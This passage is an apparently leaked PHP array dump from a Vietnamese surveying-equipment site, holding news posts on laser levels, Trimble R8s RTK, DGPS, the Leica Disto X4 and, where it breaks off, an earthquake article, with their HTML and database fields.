thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi 